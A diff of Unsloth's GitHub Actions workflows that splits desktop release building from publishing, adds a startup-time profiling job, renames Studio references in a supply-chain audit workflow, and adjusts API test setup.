description: 'Unsloth version tag to release (for example, v0.1.39-beta)'
type: string
required: true
pypi_version:
@ -19,6 +19,19 @@ on:
permissions:
contents: read
env:
DESKTOP_RELEASE_NOTES: |
Desktop app for Unsloth Studio.
**macOS**: Download the Apple Silicon `.dmg`.
**Windows**: Download the `-setup.exe` installer.
**Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
> Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
> Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
> Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
> First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
concurrency:
group: release-desktop-${{ github.repository }}
cancel-in-progress: false
@ -56,7 +69,7 @@ jobs:
if not studio_version:
sys.exit('studio_version is required, for example v0.1.39-beta')
if re.fullmatch(r'v?20\d{2}\.\d+\.\d+(?:[-+][0-9A-Za-z.-]+)?', studio_version):
sys.exit(f'studio_version must be a Studio SemVer tag, not a date-style backend version: {studio_version}')
sys.exit(f'studio_version must be an Unsloth SemVer tag, not a date-style backend version: {studio_version}')
semver_tag = re.compile(
r'^v(0|[1-9]\d*)\.(0|[1-9]\d*)\.(0|[1-9]\d*)'
@ -133,7 +146,7 @@ jobs:
print(f'pypi_version={pypi_version}', file=output)
PY
- name: Verify PyPI package and Studio stamp
- name: Verify PyPI package and Unsloth stamp
shell: bash
env:
STUDIO_VERSION: ${{ steps.prepare.outputs.studio_version }}
@ -198,7 +211,7 @@ jobs:
fi
python3 scripts/stamp_studio_release.py --verify-dist "$RUNNER_TEMP/pypi-unsloth-dist" --expected "$STUDIO_VERSION"
else
echo "scripts/stamp_studio_release.py not found; release-desktop requires #5308 to verify the PyPI Studio stamp." >&2
echo "scripts/stamp_studio_release.py not found; release-desktop requires #5308 to verify the PyPI Unsloth stamp." >&2
exit 1
fi
@ -295,14 +308,6 @@ jobs:
PY
build:
# TODO: split into a "build (no secrets)" + "publish (secrets)" job pair
# with actions/upload-artifact handoff so the matrix build cannot
# publish a Release on its own. The current matrix runs across
# Linux/macOS/Windows in a single job, so the split needs artefact
# collection across the OS matrix and is out of scope for this
# hardening pass.
permissions:
contents: write # tauri-apps/tauri-action creates / uploads a GitHub Release
strategy:
fail-fast: false
max-parallel: 1
@ -311,15 +316,21 @@ jobs:
- platform: macos-latest
args: '--target aarch64-apple-darwin'
label: macOS (Apple Silicon)
artifact: macos-aarch64
release_arch: aarch64
# - platform: macos-latest
# args: '--target x86_64-apple-darwin'
# label: macOS (Intel)
- platform: ubuntu-22.04
args: ''
label: Linux (x64)
artifact: linux-x64
release_arch: x64
- platform: windows-latest
args: ''
label: Windows (x64)
artifact: windows-x64
release_arch: x64
name: Build ${{ matrix.label }}
needs: prepare-version
@ -465,41 +476,18 @@ jobs:
if (chmodIdx !== -1 && sha256Idx > chmodIdx) {
throw new Error('Desktop Linux release must verify the linuxdeploy digest before chmod +x');
}
const releaseBodies = [];
for (let i = 0; i < lines.length; i += 1) {
const match = lines[i].match(/^(\s*)releaseBody:\s*\|\s*$/);
if (!match) continue;
const baseIndent = match[1].length;
const bodyLines = [];
i += 1;
for (; i < lines.length; i += 1) {
const line = lines[i];
if (line.trim() === '') {
bodyLines.push('');
continue;
}
const indent = line.match(/^\s*/)[0].length;
if (indent <= baseIndent) {
i -= 1;
break;
}
bodyLines.push(line.slice(baseIndent + 2));
}
releaseBodies.push(bodyLines.join('\n'));
const releaseBody = process.env.DESKTOP_RELEASE_NOTES;
if (!releaseBody) {
throw new Error('DESKTOP_RELEASE_NOTES must not be empty');
}
if (releaseBodies.length === 0) {
throw new Error('Expected at least one desktop release body');
if (/\brpm\b|\.rpm/i.test(releaseBody)) {
throw new Error('Desktop release body must not advertise RPM packages');
}
for (const body of releaseBodies) {
if (/\brpm\b|\.rpm/i.test(body)) {
throw new Error('Desktop release body must not advertise RPM packages');
}
if (/AppImage.*universal|universal.*AppImage/i.test(body)) {
throw new Error('Desktop release body must not advertise AppImage as universal');
}
if (!/AppImage.*experimental/i.test(body)) {
throw new Error('Desktop release body must mark AppImage as experimental');
}
if (/AppImage.*universal|universal.*AppImage/i.test(releaseBody)) {
throw new Error('Desktop release body must not advertise AppImage as universal');
}
if (!/AppImage.*experimental/i.test(releaseBody)) {
throw new Error('Desktop release body must mark AppImage as experimental');
}
JS
@ -644,48 +632,33 @@ jobs:
dest="$tools_dir/linuxdeploy-x86_64.AppImage"
curl -fsSL "$LINUXDEPLOY_URL" -o "$dest"
# Verify the digest BEFORE the binary is ever marked executable. The
# next step builds the AppImage with the Tauri signing key and a
# contents:write GITHUB_TOKEN in scope, so a substituted linuxdeploy
# that ran here could exfiltrate signing material or tamper with
# published release artifacts. Fail closed on any mismatch.
# next step builds the AppImage with the Tauri signing key, so a
# substituted linuxdeploy that ran here could exfiltrate signing
# material or tamper with release artifacts. Fail closed on any
# mismatch.
echo "${LINUXDEPLOY_SHA256} ${dest}" | sha256sum -c -
chmod +x "$dest"
# ── Linux: build + sign + upload ──
# ── Linux: build + sign ──
- name: Build Linux app
id: build_linux
if: matrix.platform == 'ubuntu-22.04'
uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
XDG_CACHE_HOME: ${{ runner.temp }}/tauri-tools-cache
with:
projectPath: studio
tauriScript: npx --prefix . tauri
tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }}
releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}'
releaseBody: |
Desktop app for Unsloth Studio.
**macOS**: Download the Apple Silicon `.dmg`.
**Windows**: Download the `-setup.exe` installer.
**Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
> Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
> Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
> Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
> First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
releaseDraft: ${{ inputs.draft }}
prerelease: ${{ needs.prepare-version.outputs.prerelease }}
args: -v ${{ matrix.args }}
# ── macOS: build + sign + notarize + upload ──
# ── macOS: build + sign + notarize ──
- name: Build macOS app
id: build_macos
if: matrix.platform == 'macos-latest'
uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
APPLE_SIGNING_IDENTITY: ${{ secrets.APPLE_SIGNING_IDENTITY }}
@ -695,29 +668,14 @@ jobs:
with:
projectPath: studio
tauriScript: npx --prefix . tauri
tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }}
releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}'
releaseBody: |
Desktop app for Unsloth Studio.
**macOS**: Download the Apple Silicon `.dmg`.
**Windows**: Download the `-setup.exe` installer.
**Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
> Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
> Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
> Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
> First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
releaseDraft: ${{ inputs.draft }}
prerelease: ${{ needs.prepare-version.outputs.prerelease }}
args: -v ${{ matrix.args }}
# ── Windows: build + sign + upload ──
# ── Windows: build + sign ──
- name: Build Windows app
id: build_windows
if: matrix.platform == 'windows-latest'
uses: tauri-apps/tauri-action@84b9d35b5fc46c1e45415bdb6144030364f7ebc5
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
TAURI_SIGNING_PRIVATE_KEY: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY }}
TAURI_SIGNING_PRIVATE_KEY_PASSWORD: ${{ secrets.TAURI_SIGNING_PRIVATE_KEY_PASSWORD }}
AZURE_CLIENT_ID: ${{ secrets.AZURE_CLIENT_ID }}
@ -728,44 +686,252 @@ jobs:
with:
projectPath: studio
tauriScript: npx --prefix . tauri
tagName: ${{ needs.prepare-version.outputs.desktop_release_tag }}
releaseName: 'Unsloth Studio (Desktop) ${{ needs.prepare-version.outputs.studio_version }}'
releaseBody: |
Desktop app for Unsloth Studio.
**macOS**: Download the Apple Silicon `.dmg`.
**Windows**: Download the `-setup.exe` installer.
**Linux**: Download `.deb` for Ubuntu/Debian. `.AppImage` is experimental.
> Linux in-app updates are AppImage-oriented. Package installs should update by downloading a new package.
> Linux AppImage can show a blank window on some Tauri/WebKitGTK + Wayland/Mesa stacks; use `.deb` when available.
> Linux AppImage on Ubuntu 24.04+ may require: `sudo apt install libfuse2t64`
> First-run system dependency elevation is supported on Ubuntu/Debian. Other Linux distributions should install system packages manually.
releaseDraft: ${{ inputs.draft }}
prerelease: ${{ needs.prepare-version.outputs.prerelease }}
args: -v ${{ matrix.args }}
# Release process note: only non-draft workflow runs advance the public
# desktop-latest updater channel. Draft builds are for private review; if a
# draft is manually published later, this channel intentionally remains
# unchanged until a narrow manual channel-publish flow is added or a public
# desktop release is created by running this workflow with draft=false.
publish-updater-channel:
name: Publish desktop updater channel
- name: Stage release assets
shell: bash
env:
ARTIFACT_PATHS: ${{ steps.build_linux.outputs.artifactPaths || steps.build_macos.outputs.artifactPaths || steps.build_windows.outputs.artifactPaths }}
RELEASE_ARCH: ${{ matrix.release_arch }}
run: |
set -euo pipefail
if command -v python3 >/dev/null 2>&1; then
PYTHON=python3
else
PYTHON=python
fi
"$PYTHON" <<'PY'
import json
import os
import pathlib
import re
import shutil
import sys
import unicodedata
raw_paths = os.environ.get('ARTIFACT_PATHS', '')
try:
artifact_paths = json.loads(raw_paths)
except json.JSONDecodeError as error:
sys.exit(f'Invalid tauri-action artifactPaths output: {error}')
if not isinstance(artifact_paths, list) or not artifact_paths:
sys.exit('tauri-action did not return any release artifacts')
destination = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets')
destination.mkdir(parents=True, exist_ok=True)
staged = []
for raw_path in artifact_paths:
source = pathlib.Path(raw_path)
if not source.is_file():
continue
name = source.name
for extension in ('.app.tar.gz.sig', '.app.tar.gz'):
if name.endswith(extension):
name = f'{name[:-len(extension)]}_{os.environ["RELEASE_ARCH"]}{extension}'
break
name = unicodedata.normalize('NFD', name)
name = ''.join(character for character in name if not unicodedata.combining(character))
name = re.sub(r'[ ()\[\]{}]', '.', name)
while '..' in name:
name = name.replace('..', '.')
target = destination / name
if target.exists():
sys.exit(f'Duplicate staged release asset name: {name}')
shutil.copy2(source, target)
staged.append(name)
if not staged:
sys.exit('No release files were staged')
print('Staged release assets:')
print('\n'.join(sorted(staged)))
PY
- name: Upload signed release assets
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
with:
name: desktop-release-${{ matrix.artifact }}
path: ${{ runner.temp }}/desktop-release-assets/*
if-no-files-found: error
compression-level: 0
retention-days: 1
# Only this job gets write access; builds hand off signed files via artifacts.
# Draft runs do not advance the public desktop-latest channel.
publish-release:
name: Publish desktop release
needs: [prepare-version, build]
if: ${{ !inputs.draft }}
runs-on: ubuntu-latest
permissions:
contents: write
contents: write # create the versioned Release and replace updater-channel metadata
env:
GH_REPO: ${{ github.repository }}
APP_VERSION: ${{ needs.prepare-version.outputs.app_version }}
PYPI_VERSION: ${{ needs.prepare-version.outputs.pypi_version }}
STUDIO_VERSION: ${{ needs.prepare-version.outputs.studio_version }}
DESKTOP_RELEASE_TAG: ${{ needs.prepare-version.outputs.desktop_release_tag }}
DESKTOP_PRERELEASE: ${{ needs.prepare-version.outputs.prerelease }}
steps:
- name: Harden runner (audit)
uses: step-security/harden-runner@a5ad31d6a139d249332a2605b85202e8c0b78450 # v2.19.1
with:
egress-policy: audit
- name: Download signed release assets
uses: actions/download-artifact@3e5f45b2cfb9172054b4087a40e8e0b5a5461e7c # v8.0.1
with:
pattern: desktop-release-*
path: ${{ runner.temp }}/desktop-release-assets
merge-multiple: true
- name: Validate release asset set
shell: bash
run: |
set -euo pipefail
python3 <<'PY'
import pathlib
import os
import sys
asset_dir = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets')
files = [path for path in asset_dir.iterdir() if path.is_file()]
required_suffixes = (
'.dmg',
'.app.tar.gz',
'.app.tar.gz.sig',
'.deb',
'.AppImage',
'.AppImage.sig',
'-setup.exe',
'-setup.exe.sig',
)
for suffix in required_suffixes:
matches = [path for path in files if path.name.endswith(suffix)]
if len(matches) != 1:
sys.exit(f'Expected exactly one {suffix} release asset, found {len(matches)}')
if any(path.name == 'latest.json' for path in files):
sys.exit('Build artifacts must not supply latest.json')
print('\n'.join(sorted(path.name for path in files)))
PY
- name: Create or validate versioned release
shell: bash
env:
GH_TOKEN: ${{ github.token }}
RELEASE_DRAFT: ${{ inputs.draft }}
run: |
set -euo pipefail
notes_file="$RUNNER_TEMP/desktop-release-notes.md"
printf '%s\n' "$DESKTOP_RELEASE_NOTES" > "$notes_file"
release_json="$RUNNER_TEMP/versioned-release.json"
# REST tag lookup omits drafts; `gh release view` also checks pending tags.
if gh release view "$DESKTOP_RELEASE_TAG" \
--json tagName,isDraft,isPrerelease > "$release_json" 2>/dev/null; then
python3 <<'PY'
import json
import os
import pathlib
import sys
release = json.loads(pathlib.Path(os.environ['RUNNER_TEMP'], 'versioned-release.json').read_text())
expected_draft = os.environ['RELEASE_DRAFT'].lower() == 'true'
expected_prerelease = os.environ['DESKTOP_PRERELEASE'].lower() == 'true'
if release.get('tagName') != os.environ['DESKTOP_RELEASE_TAG']:
sys.exit('Existing desktop release tag does not match the requested tag')
if bool(release.get('isDraft')) != expected_draft:
sys.exit('Existing desktop release draft state does not match the workflow input')
if bool(release.get('isPrerelease')) != expected_prerelease:
sys.exit('Existing desktop release prerelease state does not match the requested version')
PY
else
release_flags=(
--title "Unsloth Studio (Desktop) ${STUDIO_VERSION}"
--notes-file "$notes_file"
--target "$GITHUB_SHA"
)
if [ "$RELEASE_DRAFT" = "true" ]; then
release_flags+=(--draft)
fi
if [ "$DESKTOP_PRERELEASE" = "true" ]; then
release_flags+=(--prerelease)
fi
gh release create "$DESKTOP_RELEASE_TAG" "${release_flags[@]}"
fi
- name: Publish versioned release assets
shell: bash
env:
GH_TOKEN: ${{ github.token }}
run: |
set -euo pipefail
gh release upload "$DESKTOP_RELEASE_TAG" "$RUNNER_TEMP/desktop-release-assets"/* --clobber
- name: Generate and publish versioned updater metadata
shell: bash
env:
GH_TOKEN: ${{ github.token }}
run: |
set -euo pipefail
python3 <<'PY'
import datetime
import json
import os
import pathlib
import sys
import urllib.parse
asset_dir = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-assets')
files = [path for path in asset_dir.iterdir() if path.is_file()]
def exactly_one(suffix: str) -> pathlib.Path:
matches = [path for path in files if path.name.endswith(suffix)]
if len(matches) != 1:
sys.exit(f'Expected exactly one {suffix} updater asset, found {len(matches)}')
return matches[0]
def entry(signature_suffix: str) -> dict[str, str]:
signature_path = exactly_one(signature_suffix)
bundle_name = signature_path.name.removesuffix('.sig')
bundle_path = asset_dir / bundle_name
if not bundle_path.is_file():
sys.exit(f'Missing updater bundle for {signature_path.name}: {bundle_name}')
encoded_tag = urllib.parse.quote(os.environ['DESKTOP_RELEASE_TAG'], safe='')
encoded_name = urllib.parse.quote(bundle_name, safe='')
return {
'signature': signature_path.read_text(),
'url': (
f'https://github.com/{os.environ["GITHUB_REPOSITORY"]}/releases/download/'
f'{encoded_tag}/{encoded_name}'
),
}
darwin = entry('.app.tar.gz.sig')
linux = entry('.AppImage.sig')
windows = entry('.exe.sig')
notes = pathlib.Path(os.environ['RUNNER_TEMP'], 'desktop-release-notes.md').read_text()
metadata = {
'version': os.environ['APP_VERSION'],
# App version is SemVer; CHANGELOG.md is keyed by the backend release.
'pypi_version': os.environ['PYPI_VERSION'],
'notes': notes,
'pub_date': datetime.datetime.now(datetime.timezone.utc).isoformat(timespec='milliseconds').replace('+00:00', 'Z'),
'platforms': {
'darwin-aarch64': darwin,
'darwin-aarch64-app': darwin,
'linux-x86_64': linux,
'linux-x86_64-appimage': linux,
'windows-x86_64': windows,
'windows-x86_64-nsis': windows,
},
}
output = pathlib.Path(os.environ['RUNNER_TEMP'], 'latest.json')
output.write_text(json.dumps(metadata, indent=2) + '\n')
PY
gh release upload "$DESKTOP_RELEASE_TAG" "$RUNNER_TEMP/latest.json" --clobber
- name: Download versioned updater metadata
if: ${{ !inputs.draft }}
shell: bash
env:
GH_TOKEN: ${{ github.token }}
@ -790,6 +956,7 @@ jobs:
test -s "$RUNNER_TEMP/desktop-updater/latest.json"
- name: Validate versioned updater metadata
if: ${{ !inputs.draft }}
shell: bash
run: |
python3 <<'PY'
@ -849,6 +1016,7 @@ jobs:
PY
- name: Ensure desktop updater channel release
if: ${{ !inputs.draft }}
shell: bash
env:
GH_TOKEN: ${{ github.token }}
@ -881,6 +1049,7 @@ jobs:
PY
- name: Prevent updater channel downgrade
if: ${{ !inputs.draft }}
shell: bash
env:
GH_TOKEN: ${{ github.token }}
@ -971,6 +1140,7 @@ jobs:
PY
- name: Publish desktop updater channel metadata
if: ${{ !inputs.draft }}
shell: bash
env:
GH_TOKEN: ${{ github.token }}

View file

@ -2,8 +2,8 @@
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Multi-language supply-chain audit. Triggers:
# - PRs touching any dependency manifest (Python / npm / Cargo) or
# this workflow file,
# - PRs touching any dependency manifest (Python / npm / Cargo), a
# scanner or its allowlist baseline, or this workflow file,
# - push to main / pip,
# - nightly @ 04:13 UTC so newly-published advisories surface even
# when no PR opens,
@ -36,8 +36,8 @@
# - unsloth `huggingfacenotorch` extras (the canonical install path
# for fine-tuning users; pulls transformers / peft / accelerate /
# trl / datasets / diffusers / sentence-transformers / etc.)
# - all six Studio backend requirements files
# - Studio frontend (npm) and Tauri shell (cargo)
# - all six Unsloth backend requirements files
# - Unsloth frontend (npm) and Tauri shell (cargo)
# Each Python step builds a filtered dep list from pyproject.toml +
# requirements/*.txt before auditing. We do NOT install any of these
# -- pip-audit resolves through PyPI metadata, scan_packages.py
@ -57,7 +57,9 @@ on:
- 'studio/src-tauri/Cargo.lock'
- 'pyproject.toml'
- 'scripts/scan_packages.py'
- 'scripts/scan_packages_baseline.json'
- 'scripts/scan_npm_packages.py'
- 'scripts/scan_npm_packages_baseline.json'
- '.github/workflows/security-audit.yml'
push:
branches: [main, pip]
@ -216,7 +218,7 @@ jobs:
# on the runner). A comment line is left in place so the
# skipped specs are obvious in the artifact.
# The `huggingface` extra is `huggingfacenotorch` plus torch /
# torchvision / triton, deliberately skipped: Studio backend
# torchvision / triton, deliberately skipped: Unsloth backend
# already pins a torch and the +cu* / +cpu local-version tags
# trip up the PyPI resolver in `-r` mode.
run: |
@ -251,7 +253,7 @@ jobs:
# `-r requirements.txt` resolves the requirements through pip's
# dependency resolver against PyPI metadata and audits the
# resolved tree without ever executing setup.py / install
# hooks. Way faster than installing the full Studio runtime
# hooks. Way faster than installing the full Unsloth runtime
# and -- critically -- safer: an attacker who has compromised
# a transitive dep cannot run code in this job.
#
@ -324,9 +326,9 @@ jobs:
} >> "$GITHUB_STEP_SUMMARY"
# ─────────────────────────────────────────────────────────────
# npm: Studio frontend
# npm: Unsloth frontend
# ─────────────────────────────────────────────────────────────
- name: npm audit (Studio frontend)
- name: npm audit (Unsloth frontend)
# `npm audit` resolves the lockfile through the npmjs.com
# advisory DB. `--audit-level=high` filters the noise floor
# to only HIGH and CRITICAL. We do NOT pass --omit=dev: a
@ -340,7 +342,7 @@ jobs:
# Always also write the full JSON for grep-ability.
npm audit --json > ../../logs-npm-audit.json || true
{
echo "## npm audit (Studio frontend)"
echo "## npm audit (Unsloth frontend)"
echo
echo '```'
tail -200 ../../logs-npm-audit.txt
@ -348,9 +350,9 @@ jobs:
} >> "$GITHUB_STEP_SUMMARY"
# ─────────────────────────────────────────────────────────────
# cargo: Studio Tauri shell
# cargo: Unsloth Tauri shell
# ─────────────────────────────────────────────────────────────
- name: cargo audit (Studio Tauri)
- name: cargo audit (Unsloth Tauri)
# `--deny warnings` would make the job fail on any advisory.
# Keep non-blocking initially; drop continue-on-error after
# the baseline closes.
@ -360,7 +362,7 @@ jobs:
set +e
cargo audit | tee ../../logs-cargo-audit.txt
{
echo "## cargo audit (Studio Tauri)"
echo "## cargo audit (Unsloth Tauri)"
echo
echo '```'
tail -200 ../../logs-cargo-audit.txt
@ -557,7 +559,7 @@ jobs:
# ─────────────────────────────────────────────────────────────
# CycloneDX SBOM. Lets downstream consumers audit what's
# actually shipped in unsloth wheels and the Studio backend
# actually shipped in unsloth wheels and the Unsloth backend
# runtime. Generates one JSON file per requirements input plus
# a combined SBOM keyed off pyproject.toml; uploads as a build
# artifact (and a future step can attest it via SLSA).
@ -738,7 +740,7 @@ jobs:
# `--with-deps` makes the scan transitive: every package the
# declared set resolves to gets fetched and pattern-scanned, not
# just the top-level pins. Resolving the full transitive closure
# of the unsloth + Studio dep tree downloads several hundred
# of the unsloth + Unsloth dep tree downloads several hundred
# archives, hence the longer timeout.
#
# Sharded across runners for wall-clock parallelism. Each shard
@ -747,7 +749,7 @@ jobs:
# composition tries to balance load:
# - hf-stack: pyproject extras + no-torch-runtime
# (~150 archives, transformers/peft/accelerate/...)
# - studio: FastAPI/Studio backend + overrides + extras-no-deps
# - studio: FastAPI/Unsloth backend + overrides + extras-no-deps
# (~150 archives, smaller scientific stack)
# - extras: the heavy openai-whisper / scikit-learn / librosa
# stack (~250 archives, dominant cost)
@ -962,7 +964,7 @@ jobs:
# documented at scripts/scan_npm_packages.py top-of-file. The
# script is stdlib-only so adding it does not increase the
# transitive supply-chain surface.
name: npm scan-packages (Studio frontend tarballs)
name: npm scan-packages (Unsloth frontend tarballs)
runs-on: ubuntu-latest
timeout-minutes: 30
needs: []
@ -1171,7 +1173,7 @@ jobs:
with:
python-version: '3.12'
- name: Install Studio frontend deps (--ignore-scripts)
- name: Install Unsloth frontend deps (--ignore-scripts)
# `npm audit signatures` requires node_modules to be populated.
# `--ignore-scripts` is mandatory: this is exactly the lever the
# new-install-script gate below protects against, and we must

156
.github/workflows/startup-profile-ci.yml vendored Normal file
View file

@ -0,0 +1,156 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Measures where Studio's startup time goes, on each platform.
#
# Nothing recorded a number before: main.py logs "lifespan startup completed in X ms"
# and studio_test_kit polls /healthz, but both throw the elapsed time away. A first
# local run (Linux, warm cache, 18-core server) put `import main` at 5.7-6.6s BEFORE
# the server can bind, dominated by eager module-level imports pulled in by routes:
# torch ~1.9s self, unsloth_zoo ~0.8s, routes ~0.6s, transformers ~0.5s.
#
# Not a gate yet: --max-healthz-seconds exists, but a budget should come from
# observed numbers rather than a guess.
name: Startup profile
on:
pull_request:
paths:
# The measured import graph is the whole backend tree: main.py imports auth,
# core, hub, loggers, models, picker, routes and utils at module scope.
- 'studio/backend/**'
- '!studio/backend/tests/**'
# The launch phase spawns `unsloth studio --api-only`, so the CLI counts too.
- 'unsloth_cli/**'
- 'studio/src-tauri/src/preflight**'
# The profiler hardcodes the desktop argv that process.rs::backend_args builds,
# so a change there must schedule a run or the two silently diverge.
- 'studio/src-tauri/src/process.rs'
- 'scripts/profile_startup.py'
- '.github/workflows/startup-profile-ci.yml'
# The job profiles whatever `install.sh --local` built: the installers pick the
# venv's Python and the dependency specs, and pyproject's include list is what
# makes --local overlay studio.backend*.
- 'install.sh'
- 'install.ps1'
- 'pyproject.toml'
# --local also runs the checkout's setup scripts (install.sh picks
# $_REPO_ROOT/studio/setup.sh, the editable install resolves setup.ps1 to the
# repo), and both call install_python_stack.py, which picks the dependencies.
- 'studio/setup.sh'
- 'studio/setup.ps1'
- 'studio/install_python_stack.py'
workflow_dispatch:
inputs:
repeats:
description: 'launch repeats per OS (median reported)'
type: string
default: '3'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}
cancel-in-progress: true
permissions:
contents: read
jobs:
profile:
name: startup ${{ matrix.os }}
runs-on: ${{ matrix.os }}
timeout-minutes: 60
continue-on-error: true
strategy:
fail-fast: false
matrix:
os: [ubuntu-latest, macos-14, windows-latest]
env:
UNSLOTH_STUDIO_HOME: ${{ github.workspace }}/.studio-home
# A wildcard bind calls ifconfig.me on the startup path; loopback times our code.
UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK: '1'
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
with:
persist-credentials: false
- name: Install Studio
shell: bash
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -o pipefail
mkdir -p logs
# --local is load-bearing: it overlays the checkout, so the profiled server
# is this diff. Without it install.sh resolves unsloth from PyPI.
if [ "${{ runner.os }}" = "Windows" ]; then
pwsh -NoProfile -File ./install.ps1 --local 2>&1 | tee logs/install.log
else
bash install.sh --local 2>&1 | tee logs/install.log
fi
- name: Profile startup
shell: bash
run: |
BIN="$UNSLOTH_STUDIO_HOME/unsloth_studio/bin/unsloth"
[ -x "$BIN" ] || BIN="$UNSLOTH_STUDIO_HOME/unsloth_studio/Scripts/unsloth.exe"
[ -x "$BIN" ] || BIN=""
# Profile imports with the INSTALLED interpreter: that venv is what launches.
PY="$UNSLOTH_STUDIO_HOME/unsloth_studio/bin/python"
[ -x "$PY" ] || PY="$UNSLOTH_STUDIO_HOME/unsloth_studio/Scripts/python.exe"
[ -x "$PY" ] || PY="$(command -v python3 || command -v python)"
python3 scripts/profile_startup.py \
--python "$PY" \
${BIN:+--bin "$BIN"} \
--repeats "${{ inputs.repeats || '3' }}" \
--json "startup-${{ matrix.os }}.json" 2>&1 | tee logs/profile.log
- name: Summary
if: always()
shell: bash
run: |
f="startup-${{ matrix.os }}.json"
[ -f "$f" ] || { echo "no profile produced"; exit 0; }
python3 - "$f" >> "$GITHUB_STEP_SUMMARY" <<'PY'
import json, sys
d = json.load(open(sys.argv[1]))
print(f"### {d['platform']} / {d['machine']} (py {d['python']}, {d['cpu_count']} cpu)\n")
imp = d.get("imports", {})
# Gate on ok: a failed `import main` still leaves rows, so a total can lie.
if imp.get("ok"):
print(f"**`import main`: {imp['total_seconds']}s**\n")
print("| package | self ms |")
print("|---|---:|")
for k, v in list(imp.get("self_by_package_ms", {}).items())[:8]:
print(f"| {k} | {v} |")
print()
else:
print("**`import main` failed - no valid import profile**\n")
print("```\n" + (imp.get("error") or "")[-1500:] + "\n```\n")
lau = d.get("launch") or {}
runs = len(lau.get("runs") or [])
failed = lau.get("failed_runs") or 0
if lau.get("healthz_median_seconds") is not None:
# The aggregates cover only the runs that reached healthz, so flag the
# failures: bare numbers would read as a normal fast startup.
note = f" _({runs - failed} of {runs} launches; {failed} never became healthy)_" if failed else ""
print(f"**time to a healthy port: {lau['healthz_median_seconds']}s median, "
f"{lau['healthz_max_seconds']}s max**{note}\n")
elif lau.get("skipped"):
print(f"_launch phase skipped: {lau['skipped']}_\n")
elif runs:
print(f"**no launch measurement: all {runs} launches failed to become healthy**\n")
PY
- name: Upload profile
if: always()
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
with:
name: startup-profile-${{ matrix.os }}
path: |
startup-*.json
logs/
retention-days: 14
if-no-files-found: warn

View file

@ -1,7 +1,7 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
# Studio API & Auth Tests -- HTTP-level integration tests for the
# Unsloth API & Auth Tests -- HTTP-level integration tests for the
# FastAPI surface. No Playwright, no model UI; tests/studio/test_studio_api_smoke.py
# runs ~30 s and asserts:
# - CORS hardening (no wildcard + credentials, no bootstrap leak)
@ -15,7 +15,7 @@
# Reuses the GGUF cache key from studio-ui-smoke.yml so the model
# download is one cache-hit on the second job.
name: Studio API CI
name: Unsloth API CI
on:
pull_request:
@ -40,7 +40,7 @@ permissions:
jobs:
api-smoke:
name: Studio API & Auth Tests
name: Unsloth API & Auth Tests
runs-on: ubuntu-latest
timeout-minutes: 12
env:
@ -98,7 +98,7 @@ jobs:
path: hf-cache
key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2
- name: Install Studio (--local, --no-torch)
- name: Install Unsloth (--local, --no-torch)
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
# Withheld on PR: this step runs checked-out PR code; public GGUF still downloads.
@ -111,9 +111,10 @@ jobs:
- name: Install pyjwt for the JWT-expiry forge test
run: pip install 'pyjwt>=2.6'
- name: Reset auth + boot Studio (API-only)
- name: Reset auth + boot Unsloth (API-only)
run: |
unsloth studio reset-password
# Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password.
rm -rf ~/.unsloth/studio/auth
mkdir -p logs
